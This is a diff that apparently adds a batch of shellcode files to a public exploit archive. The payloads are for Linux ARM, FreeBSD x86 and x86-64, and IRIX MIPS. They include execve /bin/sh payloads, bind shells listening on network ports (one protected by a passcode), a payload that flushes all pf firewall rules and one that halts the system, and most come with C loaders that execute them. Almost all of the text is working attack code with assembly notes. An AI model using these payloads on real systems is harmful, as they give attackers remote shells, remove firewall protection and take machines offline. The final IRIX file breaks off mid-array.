// \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x37\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58
|
||||||
61
shellcodes/arm/43520.c
Normal file
61
shellcodes/arm/43520.c
Normal file
|
|
@ -0,0 +1,61 @@
|
||||||
|
/*
|
||||||
|
Title: Linux/ARM - execve("/bin/sh", NULL, 0) - 34 bytes
|
||||||
|
Date: 2017-03-31
|
||||||
|
Tested: armv7l
|
||||||
|
Author: Jonathan 'dummys' Borgeaud - twitter: @dummys1337
|
||||||
|
fapperz.org
|
||||||
|
|
||||||
|
Shellcode ARM without 0x20, 0x0a and 0x00
|
||||||
|
|
||||||
|
assembly shellcode: as -o sc.o sc.s
|
||||||
|
|
||||||
|
.syntax unified
|
||||||
|
.global main
|
||||||
|
.code 32
|
||||||
|
main:
|
||||||
|
add r3, pc, #1 /* add 0x1 to pc to prepare the switch to thumb mode */
|
||||||
|
bx r3 /* switch to thumb mode */
|
||||||
|
.thumb
|
||||||
|
mov r0, pc /* move pc to r0 */
|
||||||
|
adds r0, #14 /* make r0 to point to /bin//sh */
|
||||||
|
str r0, [sp, #4] /* store /bin//sh to the stack */
|
||||||
|
subs r1, r1, r1 /* put 0 in r1 */
|
||||||
|
subs r2, r2, r2 /* put 0 in r2 */
|
||||||
|
movs r7, #8 /* move 8 in r7 */
|
||||||
|
str r2, [r0, r7] /* store nullbytes at the end of /bin//sh */
|
||||||
|
adds r7, #3 /* add 3 to r7 for execve syscall */
|
||||||
|
svc 1 /* call execve */
|
||||||
|
str r7, [r5, #32] /* thumb instruction for "/b" string */
|
||||||
|
ldr r1, [r5, #100] /* thumb instruction for "in" string */
|
||||||
|
cmp r7, #0x2f /* thumb instruction for "//" string */
|
||||||
|
ldr r3, [r6, #4] /* thumb instruction for "sh" string */
|
||||||
|
|
||||||
|
|
||||||
|
compiler c: gcc -marm -fno-stack-protector -z execstack -o loader loader.c
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
char *SC = "\x01\x30\x8f\xe2"
|
||||||
|
"\x13\xff\x2f\xe1"
|
||||||
|
"\x78\x46\x0e\x30"
|
||||||
|
"\x01\x90\x49\x1a"
|
||||||
|
"\x92\x1a\x08\x27"
|
||||||
|
"\xc2\x51\x03\x37"
|
||||||
|
"\x01\xdf\x2f\x62"
|
||||||
|
"\x69\x6e\x2f\x2f"
|
||||||
|
"\x73\x68";
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
char payload[34];
|
||||||
|
|
||||||
|
memcpy(payload, SC, 34);
|
||||||
|
|
||||||
|
fprintf(stdout, "Length: %d\n", strlen(SC));
|
||||||
|
(*(void(*)()) payload) ();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
52
shellcodes/freebsd_x86-64/43502.txt
Normal file
52
shellcodes/freebsd_x86-64/43502.txt
Normal file
|
|
@ -0,0 +1,52 @@
|
||||||
|
/*
|
||||||
|
* Gitsnik, @dracyrys
|
||||||
|
* FreeBSD x86_64 execve, 28 bytes
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
C source:
|
||||||
|
char code[] = \
|
||||||
|
"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb"
|
||||||
|
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53"
|
||||||
|
"\x54\x5f\x52\x57\x54\x5e\x0f\x05";
|
||||||
|
|
||||||
|
Intel Assembly:
|
||||||
|
|
||||||
|
global _start
|
||||||
|
|
||||||
|
;
|
||||||
|
; 28 byte execve FreeBSD x86_64
|
||||||
|
;
|
||||||
|
; [gitsnik@bsd64]$ nasm -f elf64 shell.nasm -o shell.o
|
||||||
|
; [gitsnik@bsd64]$ ld -o shell shell.o
|
||||||
|
; [gitsnik@bsd64]$ ./shell
|
||||||
|
; $ exit
|
||||||
|
; [gitsnik@bsd64]$
|
||||||
|
;
|
||||||
|
|
||||||
|
section .text
|
||||||
|
|
||||||
|
_start:
|
||||||
|
xor rcx, rcx
|
||||||
|
mul rcx
|
||||||
|
|
||||||
|
add al, 0x3b ; execve()
|
||||||
|
mov rbx, 0x68732f2f6e69622f ; hs//nib/
|
||||||
|
|
||||||
|
; Argument one shell[0] = "/bin//sh"
|
||||||
|
push rdx ; null
|
||||||
|
push rbx ; hs//nib/
|
||||||
|
|
||||||
|
; We need pointers for execve()
|
||||||
|
push rsp ; *pointer to shell[0]
|
||||||
|
pop rdi ; Argument 1
|
||||||
|
|
||||||
|
; Argument two shell (including address of each argument in array)
|
||||||
|
push rdx ; null
|
||||||
|
push rdi ; address of shell[0]
|
||||||
|
|
||||||
|
; We need pointers for execve()
|
||||||
|
push rsp ; address of char * shell
|
||||||
|
pop rsi ; Argument 2
|
||||||
|
|
||||||
|
syscall
|
||||||
216
shellcodes/freebsd_x86-64/43503.txt
Normal file
216
shellcodes/freebsd_x86-64/43503.txt
Normal file
|
|
@ -0,0 +1,216 @@
|
||||||
|
/*
|
||||||
|
* Gitsnik, @dracyrys
|
||||||
|
* FreeBSD x86_64 bind_tcp with passcode, 127 bytes
|
||||||
|
* Passcode: R2CBw0cr
|
||||||
|
*/
|
||||||
|
|
||||||
|
C Source:
|
||||||
|
|
||||||
|
char code[] = \
|
||||||
|
"\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x99"
|
||||||
|
"\x0f\x05\x48\x97\xba\xff\x02\xaa\xaa\x80"
|
||||||
|
"\xf2\xff\x52\x48\x89\xe6\x99\x04\x66\x80"
|
||||||
|
"\xc2\x10\x0f\x05\x04\x6a\x0f\x05\x04\x1e"
|
||||||
|
"\x48\x31\xf6\x99\x0f\x05\x48\x97\x6a\x03"
|
||||||
|
"\x58\x52\x48\x8d\x74\x24\xf0\x80\xc2\x10"
|
||||||
|
"\x0f\x05\x48\xb8\x52\x32\x43\x42\x77\x30"
|
||||||
|
"\x63\x72\x57\x48\x8d\x3e\x48\xaf\x74\x08"
|
||||||
|
"\x48\x31\xc0\x48\xff\xc0\x0f\x05\x5f\x48"
|
||||||
|
"\x89\xd0\x48\x89\xfe\x48\xff\xce\xb0\x5a"
|
||||||
|
"\x0f\x05\x75\xf7\x99\x04\x3b\x48\xbb\x2f"
|
||||||
|
"\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54"
|
||||||
|
"\x5f\x52\x57\x54\x5e\x0f\x05";
|
||||||
|
|
||||||
|
Assembly Intel Source:
|
||||||
|
|
||||||
|
global _start
|
||||||
|
|
||||||
|
;
|
||||||
|
; Bindshell in 64 bit shellcode (written
|
||||||
|
; and tested on a FreeBSD 9.1 AMD64 OS)
|
||||||
|
;
|
||||||
|
; Author: Gitsnik
|
||||||
|
; Twitter: @dracyrys
|
||||||
|
; Passcode: R2CBw0cr
|
||||||
|
; 127 bytes
|
||||||
|
;
|
||||||
|
|
||||||
|
section .text
|
||||||
|
|
||||||
|
_start:
|
||||||
|
;
|
||||||
|
; int socket( 2, 1, 0 )
|
||||||
|
;
|
||||||
|
; socket will return a socket into rax
|
||||||
|
;
|
||||||
|
; 12 bytes
|
||||||
|
;
|
||||||
|
push byte 0x61
|
||||||
|
pop rax
|
||||||
|
push byte 0x02
|
||||||
|
pop rdi
|
||||||
|
push byte 0x01
|
||||||
|
pop rsi
|
||||||
|
cdq ; rdx is null
|
||||||
|
syscall ; socket( 2, 1, 0 )
|
||||||
|
|
||||||
|
;
|
||||||
|
; Swap our socket from RAX into RDI which is where
|
||||||
|
; the next few functions want it anyway
|
||||||
|
;
|
||||||
|
; xchg is 1 byte shorter than mov
|
||||||
|
;
|
||||||
|
; 2 bytes
|
||||||
|
xchg rdi, rax ; socket in rdi for bind() rax is now 2
|
||||||
|
|
||||||
|
;
|
||||||
|
; bind( sockfd, *addr, addrlen )
|
||||||
|
;
|
||||||
|
; We need to set up our serv_addr (which we know is 0,port,2)
|
||||||
|
; So load it all into RAX and push that. Note that because we want
|
||||||
|
; 7 bytes but the register is 8, we pad 0xff onto the back and then
|
||||||
|
; xor it to null to line everything up.
|
||||||
|
;
|
||||||
|
; 20 bytes
|
||||||
|
|
||||||
|
mov edx, 0xaaaa02ff
|
||||||
|
xor dl, 0xff
|
||||||
|
push rdx
|
||||||
|
mov rsi, rsp ; rsi points to our sockaddr *
|
||||||
|
|
||||||
|
cdq ; reset RDX
|
||||||
|
add al, 0x66 ; bind() is 0x68 but rax is already 0x02
|
||||||
|
add dl, 0x10 ; 16 (sizeof)
|
||||||
|
syscall
|
||||||
|
|
||||||
|
;
|
||||||
|
; listen is 0x6a
|
||||||
|
;
|
||||||
|
; listen( sockfd, backlog )
|
||||||
|
;
|
||||||
|
; bind() returns 0 on success, so add al, RDI already points at our
|
||||||
|
; sockfd, and we don't care what's in backlog but because it's a
|
||||||
|
; stack pointer from a few lines back the number is sufficiently high
|
||||||
|
; that it doesn't matter.
|
||||||
|
;
|
||||||
|
; 4 bytes
|
||||||
|
|
||||||
|
add al, 0x6a
|
||||||
|
syscall
|
||||||
|
|
||||||
|
;
|
||||||
|
; accept( sockfd, 0, 0 )
|
||||||
|
;
|
||||||
|
; accept() will return a new sockfd for us.
|
||||||
|
;
|
||||||
|
; 8 bytes
|
||||||
|
;
|
||||||
|
add al, 0x1e
|
||||||
|
xor rsi, rsi
|
||||||
|
cdq
|
||||||
|
syscall
|
||||||
|
|
||||||
|
;
|
||||||
|
; read( socket, buffer, length )
|
||||||
|
;
|
||||||
|
; Calls should read:
|
||||||
|
; rax: syscall number (0x03 on FreeBSD)
|
||||||
|
; rdi: client socket
|
||||||
|
; rsi: buffer address
|
||||||
|
; rdx: read size (0xf)
|
||||||
|
;
|
||||||
|
; We take the returned sockfd ( client ) from rax and load it into rdi
|
||||||
|
; as our second argument. We set RAX to be 0x03, as this is the syscall
|
||||||
|
; ID (reference: /usr/include/sys/syscall.h)
|
||||||
|
;
|
||||||
|
; Set rsi to be rsp-0xf to give us 0xf bytes of space for a buffer
|
||||||
|
; and set dl to be our length. RDX is still null because of the cdq we
|
||||||
|
; did earlier.
|
||||||
|
;
|
||||||
|
; When we are finished RAX will be the number of bytes read from the socket
|
||||||
|
; RDI will be our client socket
|
||||||
|
; RSI will contain the pointer to our string for passcode comparison
|
||||||
|
; RDX will be 0x000000000000000F
|
||||||
|
;
|
||||||
|
; 16 bytes
|
||||||
|
|
||||||
|
xchg rdi, rax
|
||||||
|
push byte 0x03 ; 0x03 is read() in FreeBSD
|
||||||
|
pop rax
|
||||||
|
push rdx ; Still null from cdq up top.
|
||||||
|
lea rsi, [rsp-0x10]
|
||||||
|
add dl, 0x10
|
||||||
|
syscall
|
||||||
|
|
||||||
|
;
|
||||||
|
; rsi has our string, rdi client socket
|
||||||
|
;
|
||||||
|
; 18 bytes
|
||||||
|
;
|
||||||
|
mov rax, 0x7263307742433252 ; Replace your 8 character passcode here.
|
||||||
|
push rdi ; save the socket
|
||||||
|
lea rdi, [rsi]
|
||||||
|
scasq
|
||||||
|
jz dup2setup
|
||||||
|
|
||||||
|
;
|
||||||
|
; Exit
|
||||||
|
;
|
||||||
|
; 8 bytes
|
||||||
|
;
|
||||||
|
xor rax, rax
|
||||||
|
inc rax
|
||||||
|
syscall
|
||||||
|
|
||||||
|
;
|
||||||
|
; Setup for dup2 loop
|
||||||
|
;
|
||||||
|
; 7 bytes
|
||||||
|
;
|
||||||
|
dup2setup:
|
||||||
|
pop rdi
|
||||||
|
mov rax, rdx ; RDX is dl, 0x10 but otherwise 0x00
|
||||||
|
; so we can do this and then just correct
|
||||||
|
; in the dup2 loop.
|
||||||
|
mov rsi, rdi
|
||||||
|
|
||||||
|
;
|
||||||
|
; dup2 loop
|
||||||
|
;
|
||||||
|
; 9 bytes
|
||||||
|
dup2:
|
||||||
|
dec rsi
|
||||||
|
mov al, 0x5a
|
||||||
|
syscall
|
||||||
|
jnz dup2
|
||||||
|
|
||||||
|
;
|
||||||
|
; Now for the big one. Let's set up our execve()
|
||||||
|
;
|
||||||
|
; At this point RAX is 0 so just null out rdx
|
||||||
|
;
|
||||||
|
; We need rdx to be null for the 3rd argument to execve()
|
||||||
|
;
|
||||||
|
; 23 bytes
|
||||||
|
cdq
|
||||||
|
|
||||||
|
add al, 0x3b ; execve()
|
||||||
|
mov rbx, 0x68732f2f6e69622f ; hs//nib/
|
||||||
|
|
||||||
|
; Argument one shell[0] = "/bin//sh"
|
||||||
|
push rdx ; null
|
||||||
|
push rbx ; hs//nib/
|
||||||
|
|
||||||
|
; We need pointers for execve()
|
||||||
|
push rsp ; *pointer to shell[0]
|
||||||
|
pop rdi ; Argument 1
|
||||||
|
|
||||||
|
; Argument two shell (including address of each argument in array)
|
||||||
|
push rdx ; null
|
||||||
|
push rdi ; address of shell[0]
|
||||||
|
|
||||||
|
; We need pointers for execve()
|
||||||
|
push rsp ; address of char * shell
|
||||||
|
pop rsi ; Argument 2
|
||||||
|
|
||||||
|
syscall
|
||||||
49
shellcodes/freebsd_x86/43504.asm
Normal file
49
shellcodes/freebsd_x86/43504.asm
Normal file
|
|
@ -0,0 +1,49 @@
|
||||||
|
/*
|
||||||
|
-------------- FreeBSD/x86 - execv("/bin/sh") 23 bytes -------------------------
|
||||||
|
* AUTHOR : Tosh
|
||||||
|
* OS : BSDx86 (Tested on FreeBSD 8.1)
|
||||||
|
* EMAIL : tosh@tuxfamily.org
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
|
||||||
|
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
|
||||||
|
"\x54\x53\xb0\x3b\x50\xcd\x80";
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
void(*f)() = (void*)shellcode;
|
||||||
|
|
||||||
|
printf("Len = %d\n", sizeof(shellcode)-1);
|
||||||
|
f();
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
%define SYS_EXECV 59
|
||||||
|
|
||||||
|
|
||||||
|
section .text
|
||||||
|
|
||||||
|
global _start
|
||||||
|
|
||||||
|
_start:
|
||||||
|
xor eax, eax
|
||||||
|
|
||||||
|
push eax
|
||||||
|
|
||||||
|
push '//sh'
|
||||||
|
push '/bin'
|
||||||
|
|
||||||
|
mov ebx, esp
|
||||||
|
|
||||||
|
push eax
|
||||||
|
push esp
|
||||||
|
push ebx
|
||||||
|
mov al, SYS_EXECV
|
||||||
|
push eax
|
||||||
|
int 0x80
|
||||||
|
*/
|
||||||
47
shellcodes/freebsd_x86/43505.c
Normal file
47
shellcodes/freebsd_x86/43505.c
Normal file
|
|
@ -0,0 +1,47 @@
|
||||||
|
/*
|
||||||
|
* Title: FreeBSD 8.0-RELEASE/x86 '//sbin/pfctl -F all Shellcode 47 Bytes'
|
||||||
|
* Type: Shellcode
|
||||||
|
* Author: antrhacks
|
||||||
|
* Platform: FreeBSD 8.0-RELEASE
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* ASSembly
|
||||||
|
31 c0 xor %eax,%eax
|
||||||
|
50 push %eax
|
||||||
|
68 2d 46 61 6c push $0x6c61462d
|
||||||
|
89 e1 mov %esp,%ecx
|
||||||
|
50 push %eax
|
||||||
|
68 66 63 74 6c push $0x6c746366
|
||||||
|
68 69 6e 2f 70 push $0x702f6e69
|
||||||
|
68 2f 2f 73 62 push $0x62732f2f
|
||||||
|
89 e3 mov %esp,%ebx
|
||||||
|
50 push %eax
|
||||||
|
51 push %ecx
|
||||||
|
53 push %ebx
|
||||||
|
89 e1 mov %esp,%ecx
|
||||||
|
50 push %eax
|
||||||
|
51 push %ecx
|
||||||
|
53 push %ebx
|
||||||
|
b0 3b mov $0x3b,%al
|
||||||
|
50 push %eax
|
||||||
|
cd 80 int $0x80
|
||||||
|
31 c0 xor %eax,%eax
|
||||||
|
50 push %eax
|
||||||
|
50 push %eax
|
||||||
|
cd 80 int $0x80
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
char shellcode[] = "\x31\xc0\x50\x68\x2d\x46\x61\x6c\x89\xe1\x50\x68\x66\x63\x74\x6c"
|
||||||
|
"\x68\x69\x6e\x2f\x70\x68\x2f\x2f\x73\x62\x89\xe3\x50\x51\x53"
|
||||||
|
"\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80\x31\xc0\x50\x50\xcd\x80";
|
||||||
|
|
||||||
|
printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
|
||||||
|
|
||||||
|
(*(void (*)())shellcode)();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
26
shellcodes/freebsd_x86/43506.c
Normal file
26
shellcodes/freebsd_x86/43506.c
Normal file
|
|
@ -0,0 +1,26 @@
|
||||||
|
/*
|
||||||
|
|
||||||
|
FreeBSD shellcode that binds /bin/sh to port 41254
|
||||||
|
Assembly code and explanation will be released on safemode.org soon.
|
||||||
|
|
||||||
|
Written by zillion (zillion at safemode.org)
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
char shellcode[] =
|
||||||
|
"\xeb\x64\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0"
|
||||||
|
"\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46"
|
||||||
|
"\x0a\xa1\x26\x89\x46\x0c\x6a\x10\x8d\x46\x08\x50\x52\x31\xc0"
|
||||||
|
"\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd\x80"
|
||||||
|
"\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff"
|
||||||
|
"\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01"
|
||||||
|
"\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff"
|
||||||
|
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
|
||||||
|
int *ret;
|
||||||
|
ret = (int *)&ret + 2;
|
||||||
|
(*ret) = (int)shellcode;
|
||||||
|
}
|
||||||
20
shellcodes/freebsd_x86/43507.c
Normal file
20
shellcodes/freebsd_x86/43507.c
Normal file
|
|
@ -0,0 +1,20 @@
|
||||||
|
/*
|
||||||
|
|
||||||
|
FreeBSD reboot() shellcode
|
||||||
|
|
||||||
|
This will halt a system, which takes it offline until someone reboots it.
|
||||||
|
|
||||||
|
Written by zillion (at safemode.org
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
char shellcode[] =
|
||||||
|
"\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
|
||||||
|
int *ret;
|
||||||
|
ret = (int *)&ret + 2;
|
||||||
|
(*ret) = (int)shellcode;
|
||||||
|
}
|
||||||
18
shellcodes/irix/43508.c
Normal file
18
shellcodes/irix/43508.c
Normal file
|
|
@ -0,0 +1,18 @@
|
||||||
|
char cmdshellcode[]=
|
||||||
|
"\x04\x10\xff\xff" /* bltzal $zero,<_cmdshellcode> */
|
||||||
|
"\x24\x02\x03\xf3" /* li $v0,1011 */
|
||||||
|
"\x23\xff\x08\xf4" /* addi $ra,$ra,2292 */
|
||||||
|
"\x23\xe4\xf7\x40" /* addi $a0,$ra,-2240 */
|
||||||
|
"\x23\xe5\xfb\x24" /* addi $a1,$ra,-1244 */
|
||||||
|
"\xaf\xe4\xfb\x24" /* sw $a0,-1244($ra) */
|
||||||
|
"\x23\xe6\xf7\x48" /* addi $a2,$ra,-2232 */
|
||||||
|
"\xaf\xe6\xfb\x28" /* sw $a2,-1240($ra) */
|
||||||
|
"\x23\xe6\xf7\x4c" /* addi $a2,$ra,-2228 */
|
||||||
|
"\xaf\xe6\xfb\x2c" /* sw $a2,-1236($ra) */
|
||||||
|
"\xaf\xe0\xfb\x30" /* sw $zero,-1232($ra) */
|
||||||
|
"\xa3\xe0\xf7\x47" /* sb $zero,-2233($ra) */
|
||||||
|
"\xa3\xe0\xf7\x4a" /* sb $zero,-2230($ra) */
|
||||||
|
"\x02\x04\x8d\x0c" /* syscall */
|
||||||
|
"\x01\x08\x40\x25" /* or $t0,$t0,$t0 */
|
||||||
|
"/bin/sh -c "
|
||||||
|
;
|
||||||
12
shellcodes/irix/43509.c
Normal file
12
shellcodes/irix/43509.c
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
char shellcode[]=
|
||||||
|
"\x04\x10\xff\xff" /* bltzal $zero,<_shellcode> */
|
||||||
|
"\x24\x02\x03\xf3" /* li $v0,1011 */
|
||||||
|
"\x23\xff\x02\x14" /* addi $ra,$ra,532 */
|
||||||
|
"\x23\xe4\xfe\x08" /* addi $a0,$ra,-504 */
|
||||||
|
"\x23\xe5\xfe\x10" /* addi $a1,$ra,-496 */
|
||||||
|
"\xaf\xe4\xfe\x10" /* sw $a0,-496($ra) */
|
||||||
|
"\xaf\xe0\xfe\x14" /* sw $zero,-492($ra) */
|
||||||
|
"\xa3\xe0\xfe\x0f" /* sb $zero,-497($ra) */
|
||||||
|
"\x03\xff\xff\xcc" /* syscall */
|
||||||
|
"/bin/sh"
|
||||||
|
;
|
||||||
104
shellcodes/irix/43510.c
Normal file
104
shellcodes/irix/43510.c
Normal file
|
|
@ -0,0 +1,104 @@
|
||||||
|
/* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso
|
||||||
|
*/
|
||||||
|
unsigned long int shellcode[] = {
|
||||||
|
0x2416fffd, /* li $s6, -3 */
|
||||||
|
0x02c07027, /* nor $t6, $s6, $zero */
|
||||||
|
0x01ce2025, /* or $a0, $t6, $t6 */
|
||||||
|
0x01ce2825, /* or $a1, $t6, $t6 */
|
||||||
|
0x240efff9, /* li $t6, -7 */
|
||||||
|
0x01c03027, /* nor $a2, $t6, $zero */
|
||||||
|
0x24020453, /* li $v0, 1107 (socket) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
|
||||||
|
0x3050ffff, /* andi $s0, $v0, 0xffff */
|
||||||
|
0x280d0101, /* slti $t5, $zero, 0x0101 */
|
||||||
|
0x240effee, /* li $t6, -18 */
|
||||||
|
0x01c07027, /* nor $t6, $t6, $zero */
|
||||||
|
0x01cd6804, /* sllv $t5, $t5, $t6 */
|
||||||
|
0x240e7350, /* li $t6, 0x7350 (port) */
|
||||||
|
0x01ae6825, /* or $t5, $t5, $t6 */
|
||||||
|
0xafadfff0, /* sw $t5, -16($sp) */
|
||||||
|
0xafa0fff4, /* sw $zero, -12($sp) */
|
||||||
|
0xafa0fff8, /* sw $zero, -8($sp) */
|
||||||
|
0xafa0fffc, /* sw $zero, -4($sp) */
|
||||||
|
0x02102025, /* or $a0, $s0, $s0 */
|
||||||
|
0x240effef, /* li $t6, -17 */
|
||||||
|
0x01c03027, /* nor $a2, $t6, $zero */
|
||||||
|
0x03a62823, /* subu $a1, $sp, $a2 */
|
||||||
|
0x24020442, /* li $v0, 1090 (bind) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
|
||||||
|
0x02102025, /* or $a0, $s0, $s0 */
|
||||||
|
0x24050101, /* li $a1, 0x0101 */
|
||||||
|
0x24020448, /* li $v0, 1096 (listen) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
|
||||||
|
0x02102025, /* or $a0, $s0, $s0 */
|
||||||
|
0x27a5fff0, /* addiu $a1, $sp, -16 */
|
||||||
|
0x240dffef, /* li $t5, -17 */
|
||||||
|
0x01a06827, /* nor $t5, $t5, $zero */
|
||||||
|
0xafadffec, /* sw $t5, -20($sp) */
|
||||||
|
0x27a6ffec, /* addiu $a2, $sp, -20 */
|
||||||
|
0x24020441, /* li $v0, 1089 (accept) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
0x3057ffff, /* andi $s7, $v0, 0xffff */
|
||||||
|
|
||||||
|
0x2804ffff, /* slti $a0, $zero, -1 */
|
||||||
|
0x240203ee, /* li $v0, 1006 (close) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
|
||||||
|
0x02f72025, /* or $a0, $s7, $s7 */
|
||||||
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
||||||
|
0x2806ffff, /* slti $a2, $zero, -1 */
|
||||||
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
|
||||||
|
0x28040101, /* slti $a0, $zero, 0x0101 */
|
||||||
|
0x240203ee, /* li $v0, 1006 (close) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
|
||||||
|
0x02f72025, /* or $a0, $s7, $s7 */
|
||||||
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
||||||
|
0x28060101, /* slti $a2, $zero, 0x0101 */
|
||||||
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 */
|
||||||
|
|
||||||
|
0x02c02027, /* nor $a0, $s6, $zero */
|
||||||
|
0x240203ee, /* li $v0, 1006 (close) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
|
||||||
|
0x02f72025, /* or $a0, $s7, $s7 */
|
||||||
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
||||||
|
0x02c03027, /* nor $a2, $s6, $zero */
|
||||||
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
|
||||||
|
0xafa0fffc, /* sw $zero, -4($sp) */
|
||||||
|
0x24068cb0, /* li $a2, -29520 */
|
||||||
|
0x04d0ffff, /* bltzal $a2, pc-4 */
|
||||||
|
0x8fa6fffc, /* lw $a2, -4($sp) */
|
||||||
|
0x240fffc7, /* li $t7, -57 */
|
||||||
|
0x01e07827, /* nor $t7, $t7, $zero */
|
||||||
|
0x03eff821, /* addu $ra, $ra, $t7 */
|
||||||
|
0x23e4fff8, /* addi $a0, $ra, -8 */
|
||||||
|
0x8fedfffc, /* lw $t5, -4($ra) */
|
||||||
|
0x25adffbe, /* addiu $t5, $t5, -66 */
|
||||||
|
0xafedfffc, /* sw $t5, -4($ra) */
|
||||||
|
0xafa4fff8, /* sw $a0, -8($sp) */
|
||||||
|
0x27a5fff8, /* addiu $a1, $sp, -8 */
|
||||||
|
0x24020423, /* li $v0, 1059 (execve) */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||||||
|
0x2f62696e, /* .ascii "/bin" */
|
||||||
|
0x2f736842, /* .ascii "/sh", .byte 0xdummy */
|
||||||
|
};
|
||||||
29
shellcodes/irix/43511.c
Normal file
29
shellcodes/irix/43511.c
Normal file
|
|
@ -0,0 +1,29 @@
|
||||||
|
/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso
|
||||||
|
*/
|
||||||
|
unsigned long int shellcode[] = {
|
||||||
|
0xafa0fffc, /* sw $zero, -4($sp) */
|
||||||
|
0x24067350, /* li $a2, 0x7350 */
|
||||||
|
/* dpatch: */ 0x04d0ffff, /* bltzal $a2, dpatch */
|
||||||
|
0x8fa6fffc, /* lw $a2, -4($sp) */
|
||||||
|
/* a2 = (char **) envp = NULL */
|
||||||
|
|
||||||
|
0x240fffcb, /* li $t7, -53 */
|
||||||
|
0x01e07827, /* nor $t7, $t7, $zero */
|
||||||
|
0x03eff821, /* addu $ra, $ra, $t7 */
|
||||||
|
|
||||||
|
/* a0 = (char *) pathname */
|
||||||
|
0x23e4fff8, /* addi $a0, $ra, -8 */
|
||||||
|
|
||||||
|
/* fix 0x42 dummy byte in pathname to shell */
|
||||||
|
0x8fedfffc, /* lw $t5, -4($ra) */
|
||||||
|
0x25adffbe, /* addiu $t5, $t5, -66 */
|
||||||
|
0xafedfffc, /* sw $t5, -4($ra) */
|
||||||
|
|
||||||
|
/* a1 = (char **) argv */
|
||||||
|
0xafa4fff8, /* sw $a0, -8($sp) */
|
||||||
|
0x27a5fff8, /* addiu $a1, $sp, -8 */
|
||||||
|
|
||||||
|
0x24020423, /* li $v0, 1059 (SYS_execve) */
